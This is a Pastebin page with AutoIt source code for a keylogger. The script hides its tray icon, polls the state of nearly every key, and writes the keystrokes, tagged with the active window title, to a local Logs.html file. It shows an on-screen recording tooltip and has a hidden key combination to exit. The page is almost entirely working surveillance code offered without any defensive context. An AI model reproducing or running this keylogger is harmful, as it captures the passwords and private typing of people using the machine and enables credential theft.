Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #NoTrayIcon
- Global $UserDll = DllOpen("user32.dll")
- Global $FileOpen = FileOpen(@ScriptDir & "\Logs.html", 1)
- Func _IsPressed($KeysHexValue)
- Local $Call, $CoverType
- $Call = DllCall($UserDll, "int", "GetAsyncKeyState", "int", $KeysHexValue)
- If $Call[0] <> 0 Then
- $CoverType = 1
- Else
- $CoverType = 0
- EndIf
- Return $CoverType
- EndFunc ;==>_IsPressed
- ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
- $GetWindowTitle2 = ""
- ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
- ;$FileOpen = FileOpen($log & "\Logs.html", 1)
- If $FileOpen = -1 Then Exit
- ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
- Func _KeystoLog($Typed)
- $GetWindowTitle = WinGetTitle("")
- If $GetWindowTitle = $GetWindowTitle2 Then
- FileWrite($FileOpen, $Typed)
- Sleep(35)
- Else
- $GetWindowTitle2 = $GetWindowTitle
- FileWrite($FileOpen, "<font color=#00BFFF style=font-size:16px><b>" & '<br>' & "Window: " & $GetWindowTitle & "</font></b>" & '<br>' & $Typed)
- Sleep(15)
- EndIf
- EndFunc ;==>_KeystoLog
- While 1
- ToolTip('Keystrokes are being recorded', 0, 0, 'Recording..')
- If _IsPressed(0xBA) = 1 Then _KeystoLog('; ')
- If _IsPressed(0xBB) = 1 Then _KeystoLog('= ')
- If _IsPressed(0xBC) = 1 Then _KeystoLog(', ')
- If _IsPressed(0xBD) = 1 Then _KeystoLog('- ')
- If _IsPressed(0xBE) = 1 Then _KeystoLog('. ')
- If _IsPressed(0xBF) = 1 Then _KeystoLog('/ ')
- If _IsPressed(0xC0) = 1 Then _KeystoLog('` ')
- If _IsPressed(0xDB) = 1 Then _KeystoLog('[ ')
- If _IsPressed(0xDC) = 1 Then _KeystoLog('\ ')
- If _IsPressed(0xDD) = 1 Then _KeystoLog('] ')
- If _IsPressed(0xDE) = 1 Then _KeystoLog("' ")
- If _IsPressed(0x08) = 1 Then _KeystoLog('<font color=#008000 style=font-size:9px><i>{BACKSPACE}</i></font> ')
- If _IsPressed(0x09) = 1 Then _KeystoLog('<font color=#008000 style=font-size:9px><i>{TAB}</i></font> ')
- If _IsPressed(0x0D) = 1 Then _KeystoLog('<font color=#008000 style=font-size:9px><i>{ENTER}</i></font> ')
- If _IsPressed(0x13) = 1 Then _KeystoLog('<font color=#008000 style=font-size:9px><i>{PAUSE}</i></font> ')
- If _IsPressed(0x14) = 1 Then _KeystoLog('<font color=#008000 style=font-size:9px><i>{CAPSLOCK}</i></font> ')
- ;If _IsPressed(0x1B) = 1 Then _KeystoLog('<font color=#008000 style=font-size:9px><i>{ESC}</i></font> ')
- If _IsPressed(0x20) = 1 Then _KeystoLog(' ')
- If _IsPressed(0x21) = 1 Then _KeystoLog('<font color=#008000 style=font-size:9px><i>{PAGE UP}</i></font> ')
- If _IsPressed(0x22) = 1 Then _KeystoLog('<font color=#008000 style=font-size:9px><i>{PAGE DOWN}</i></font> ')
- If _IsPressed(0x23) = 1 Then _KeystoLog('<font color=#008000 style=font-size:9px><i>{END}</i></font> ')
- If _IsPressed(0x24) = 1 Then _KeystoLog('<font color=#008000 style=font-size:9px><i>{HOME}</i></font> ')
- If _IsPressed(0x25) = 1 Then _KeystoLog('<font color=#008000 style=font-size:9px><i>{LEFT ARROW}</i></font> ')
- If _IsPressed(0x26) = 1 Then _KeystoLog('<font color=#008000 style=font-size:9px><i>{UP ARROW}</i></font> ')
- If _IsPressed(0x27) = 1 Then _KeystoLog('<font color=#008000 style=font-size:9px><i>{RIGHT ARROW}</i></font> ')
- If _IsPressed(0x28) = 1 Then _KeystoLog('<font color=#008000 style=font-size:9px><i>{DOWN ARROW}</i></font> ')
- If _IsPressed(0x2C) = 1 Then _KeystoLog('<font color=#008000 style=font-size:9px><i>{PRINT SCREEN}</i></font> ')
- If _IsPressed(0x2D) = 1 Then _KeystoLog('<font color=#008000 style=font-size:9px><i>{INS}</i></font> ')
- If _IsPressed(0x2E) = 1 Then _KeystoLog('<font color=#008000 style=font-size:9px><i>{DEL}</i></font> ')
- If _IsPressed(0x30) = 1 Then _KeystoLog('0')
- If _IsPressed(0x31) = 1 Then _KeystoLog('1')
- If _IsPressed(0x32) = 1 Then _KeystoLog('2')
- If _IsPressed(0x33) = 1 Then _KeystoLog('3')
- If _IsPressed(0x34) = 1 Then _KeystoLog('4')
- If _IsPressed(0x35) = 1 Then _KeystoLog('5')
- If _IsPressed(0x36) = 1 Then _KeystoLog('6')
- If _IsPressed(0x37) = 1 Then _KeystoLog('7')
- If _IsPressed(0x38) = 1 Then _KeystoLog('8')
- If _IsPressed(0x39) = 1 Then _KeystoLog('9')
- If _IsPressed(0x41) = 1 Then _KeystoLog('a')
- If _IsPressed(0x42) = 1 Then _KeystoLog('b')
- If _IsPressed(0x43) = 1 Then _KeystoLog('c')
- If _IsPressed(0x44) = 1 Then _KeystoLog('d')
- If _IsPressed(0x45) = 1 Then _KeystoLog('e')
- If _IsPressed(0x46) = 1 Then _KeystoLog('f')
- If _IsPressed(0x47) = 1 Then _KeystoLog('g')
- If _IsPressed(0x48) = 1 Then _KeystoLog('h')
- If _IsPressed(0x49) = 1 Then _KeystoLog('i')
- If _IsPressed(0x4A) = 1 Then _KeystoLog('j')
- If _IsPressed(0x4B) = 1 Then _KeystoLog('k')
- If _IsPressed(0x4C) = 1 Then _KeystoLog('l')
- If _IsPressed(0x4D) = 1 Then _KeystoLog('m')
- If _IsPressed(0x4E) = 1 Then _KeystoLog('n')
- If _IsPressed(0x4F) = 1 Then _KeystoLog('o')
- If _IsPressed(0x50) = 1 Then _KeystoLog('p')
- If _IsPressed(0x51) = 1 Then _KeystoLog('q')
- If _IsPressed(0x52) = 1 Then _KeystoLog('r')
- If _IsPressed(0x53) = 1 Then _KeystoLog('s')
- If _IsPressed(0x54) = 1 Then _KeystoLog('t')
- If _IsPressed(0x55) = 1 Then _KeystoLog('u')
- If _IsPressed(0x56) = 1 Then _KeystoLog('v')
- If _IsPressed(0x57) = 1 Then _KeystoLog('w')
- If _IsPressed(0x58) = 1 Then _KeystoLog('x')
- If _IsPressed(0x59) = 1 Then _KeystoLog('y')
- If _IsPressed(0x5A) = 1 Then _KeystoLog('z')
- If _IsPressed(0x5B) = 1 Then _KeystoLog('<font color=#008000 style=font-size:9px><i>{LEFT WIN}</i></font> ')
- If _IsPressed(0x5C) = 1 Then _KeystoLog('<font color=#008000 style=font-size:9px><i>{RIGHT WIN}</i></font> ')
- If _IsPressed(0x60) = 1 Then _KeystoLog('Num 0')
- If _IsPressed(0x61) = 1 Then _KeystoLog('Num 1')
- If _IsPressed(0x62) = 1 Then _KeystoLog('Num 2')
- If _IsPressed(0x63) = 1 Then _KeystoLog('Num 3')
- If _IsPressed(0x64) = 1 Then _KeystoLog('Num 4')
- If _IsPressed(0x65) = 1 Then _KeystoLog('Num 5')
- If _IsPressed(0x66) = 1 Then _KeystoLog('Num 6')
- If _IsPressed(0x67) = 1 Then _KeystoLog('Num 7')
- If _IsPressed(0x68) = 1 Then _KeystoLog('Num 8')
- If _IsPressed(0x69) = 1 Then _KeystoLog('Num 9')
- If _IsPressed(0x6A) = 1 Then _KeystoLog('<font color=#008000 style=font-size:9px><i>{MULTIPLY}</i></font> ')
- If _IsPressed(0x6B) = 1 Then _KeystoLog('<font color=#008000 style=font-size:9px><i>{ADD}</i></font> ')
- If _IsPressed(0x6C) = 1 Then _KeystoLog('Separator')
- If _IsPressed(0x6D) = 1 Then _KeystoLog('<font color=#008000 style=font-size:9px><i>{SUBTRACT}</i></font> ')
- If _IsPressed(0x6E) = 1 Then _KeystoLog('<font color=#008000 style=font-size:9px><i>{DECIMAL}</i></font> ')
- If _IsPressed(0x6F) = 1 Then _KeystoLog('<font color=#008000 style=font-size:9px><i>{DIVIDE}</i></font> ')
- If _IsPressed(0x70) = 1 Then _KeystoLog('F1 ')
- If _IsPressed(0x71) = 1 Then _KeystoLog('F2 ')
- If _IsPressed(0x72) = 1 Then _KeystoLog('F3 ')
- If _IsPressed(0x73) = 1 Then _KeystoLog('F4 ')
- If _IsPressed(0x74) = 1 Then _KeystoLog('F5 ')
- If _IsPressed(0x75) = 1 Then _KeystoLog('F6 ')
- If _IsPressed(0x76) = 1 Then _KeystoLog('F7 ')
- If _IsPressed(0x77) = 1 Then _KeystoLog('F8 ')
- If _IsPressed(0x78) = 1 Then _KeystoLog('F9 ')
- If _IsPressed(0x79) = 1 Then _KeystoLog('F10 ')
- If _IsPressed(0x77) = 1 Then _KeystoLog('F8 ')
- If _IsPressed(0x78) = 1 Then _KeystoLog('F9 ')
- If _IsPressed(0x79) = 1 Then _KeystoLog('F10 ')
- If _IsPressed(0x7A) = 1 Then _KeystoLog('F11 ')
- If _IsPressed(0x7B) = 1 Then _KeystoLog('F12 ')
- If _IsPressed(0x7C) = 1 Then _KeystoLog('F13 ')
- If _IsPressed(0x7D) = 1 Then _KeystoLog('F14 ')
- If _IsPressed(0x7E) = 1 Then _KeystoLog('F15 ')
- If _IsPressed(0x7F) = 1 Then _KeystoLog('F16 ')
- If _IsPressed(0x80) = 1 Then _KeystoLog('F17 ')
- If _IsPressed(0x81) = 1 Then _KeystoLog('F18 ')
- If _IsPressed(0x82) = 1 Then _KeystoLog('F19 ')
- If _IsPressed(0x83) = 1 Then _KeystoLog('F20 ')
- If _IsPressed(0x84) = 1 Then _KeystoLog('F21 ')
- If _IsPressed(0x85) = 1 Then _KeystoLog('F22 ')
- If _IsPressed(0x86) = 1 Then _KeystoLog('F23 ')
- If _IsPressed(0x87) = 1 Then _KeystoLog('F24 ')
- If _IsPressed(0x90) = 1 Then _KeystoLog('<font color=#008000 style=font-size:9px><i>{NUM LOCK}</i></font> ')
- If _IsPressed(0x91) = 1 Then _KeystoLog('<font color=#008000 style=font-size:9px><i>{SCROLL LOCK}</i></font> ')
- If _IsPressed(0xA0) = 1 Then _KeystoLog('<font color=#008000 style=font-size:9px><i>{LEFT SHIFT}</i></font> ')
- If _IsPressed(0xA1) = 1 Then _KeystoLog('<font color=#008000 style=font-size:9px><i>{RIGHT SHIFT}</i></font> ')
- If _IsPressed(0xA2) = 1 Then _KeystoLog('<font color=#008000 style=font-size:9px><i>{LEFT CTRL}</i></font> ')
- If _IsPressed(0xA3) = 1 Then _KeystoLog('<font color=#008000 style=font-size:9px><i>{RIGHT CTRL}</i></font> ')
- If _IsPressed(0xA4) = 1 Then _KeystoLog('<font color=#008000 style=font-size:9px><i>{LEFT ALT}</i></font> ')
- If _IsPressed(0xA5) = 1 Then _KeystoLog('<font color=#008000 style=font-size:9px><i>{RIGHT ALT}</i></font> ')
- ;If _IsPressed(0x1B) = 1 Then
- ;ShellExecute(@DesktopDir & "\Recorded.txt")
- ;ExitLoop
- ;EndIf
- If (_IsPressed("A0") And _IsPressed("11") And _IsPressed("12") And _IsPressed("1B")) Then ExitLoop
- Sleep(65)
- WEnd
Add Comment
Please, Sign In to add comment